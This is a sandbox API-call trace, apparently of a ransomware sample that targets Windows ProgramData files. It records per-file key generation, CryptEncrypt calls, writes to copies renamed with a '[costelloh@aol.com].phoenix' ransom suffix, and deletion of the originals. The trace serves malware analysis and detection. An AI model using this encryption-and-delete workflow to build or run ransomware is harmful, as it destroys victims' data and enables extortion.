	[0238.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.459] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunemusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.540] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0238.540] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0238.542] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=65536) returned 1
	[0238.542] CloseHandle (hObject=0x2c8) returned 1
	[0238.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0238.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.542] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.616] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0238.616] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.619] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0238.619] CloseHandle (hObject=0x2e4) returned 1
	[0238.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0238.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.619] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.658] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0238.658] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0238.660] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8192) returned 1
	[0238.660] CloseHandle (hObject=0x2c8) returned 1
	[0238.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0238.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.661] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.713] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0238.714] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0238.718] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8192) returned 1
	[0238.718] CloseHandle (hObject=0x2cc) returned 1
	[0238.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0238.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.718] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.718] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0238.718] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0238.718] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1346) returned 1
	[0238.718] CloseHandle (hObject=0x2cc) returned 1
	[0238.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0238.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.719] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.719] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0238.719] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0238.719] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1498) returned 1
	[0238.719] CloseHandle (hObject=0x2cc) returned 1
	[0238.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0238.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.720] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0238.720] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0238.720] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml" (normalized: "c:\\programdata\\microsoft\\windows\\appxprovisioning.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0238.720] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=17175) returned 1
	[0238.720] CloseHandle (hObject=0x2cc) returned 1
	[0238.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml" (normalized: "c:\\programdata\\microsoft\\windows\\appxprovisioning.xml")) returned 0x20
	[0238.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\appxprovisioning.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.720] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml" (normalized: "c:\\programdata\\microsoft\\windows\\appxprovisioning.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0238.720] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0238.720] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0238.720] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\appxprovisioning.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0240.996] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0240.996] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0240.996] ReadFile (in: hFile=0x2cc, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x4317, lpOverlapped=0x0) returned 1
	[0241.012] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4320, dwBufLen=0x4320 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4320) returned 1
	[0241.012] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4320, lpOverlapped=0x0) returned 1
	[0241.014] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0241.014] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.014] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0241.014] CryptDestroyKey (hKey=0x151140) returned 1
	[0241.014] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0241.014] CryptDestroyKey (hKey=0x151380) returned 1
	[0241.014] CloseHandle (hObject=0x2cc) returned 1
	[0241.014] CloseHandle (hObject=0x2c8) returned 1
	[0241.014] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml" (normalized: "c:\\programdata\\microsoft\\windows\\appxprovisioning.xml")) returned 1
	[0241.016] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0241.016] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.016] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0241.016] CloseHandle (hObject=0x2c8) returned 1
	[0241.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")) returned 0x20
	[0241.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.016] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.016] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.017] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.017] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.017] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151140) returned 1
	[0241.017] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.017] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x4000, lpOverlapped=0x0) returned 1
	[0241.018] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4010, dwBufLen=0x4010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4010) returned 1
	[0241.018] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4010, lpOverlapped=0x0) returned 1
	[0241.020] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1514c0) returned 1
	[0241.020] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.020] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0241.020] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0241.020] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0241.020] CryptDestroyKey (hKey=0x151140) returned 1
	[0241.020] CloseHandle (hObject=0x2c8) returned 1
	[0241.020] CloseHandle (hObject=0x2cc) returned 1
	[0241.020] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")) returned 0
	[0241.020] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0241.021] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{07CE7F5B-73F4-4BAD-B449-5B3E959DEF86}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{07ce7f5b-73f4-4bad-b449-5b3e959def86}.2.ver0x0000000000000001.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.028] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1216) returned 1
	[0241.028] CloseHandle (hObject=0x2cc) returned 1
	[0241.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{07CE7F5B-73F4-4BAD-B449-5B3E959DEF86}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{07ce7f5b-73f4-4bad-b449-5b3e959def86}.2.ver0x0000000000000001.db")) returned 0x20
	[0241.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{07CE7F5B-73F4-4BAD-B449-5B3E959DEF86}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{07ce7f5b-73f4-4bad-b449-5b3e959def86}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.028] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{07CE7F5B-73F4-4BAD-B449-5B3E959DEF86}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{07ce7f5b-73f4-4bad-b449-5b3e959def86}.2.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.028] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.028] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.028] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{07CE7F5B-73F4-4BAD-B449-5B3E959DEF86}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{07ce7f5b-73f4-4bad-b449-5b3e959def86}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.029] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151140) returned 1
	[0241.029] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.029] ReadFile (in: hFile=0x2cc, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x4c0, lpOverlapped=0x0) returned 1
	[0241.218] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4d0) returned 1
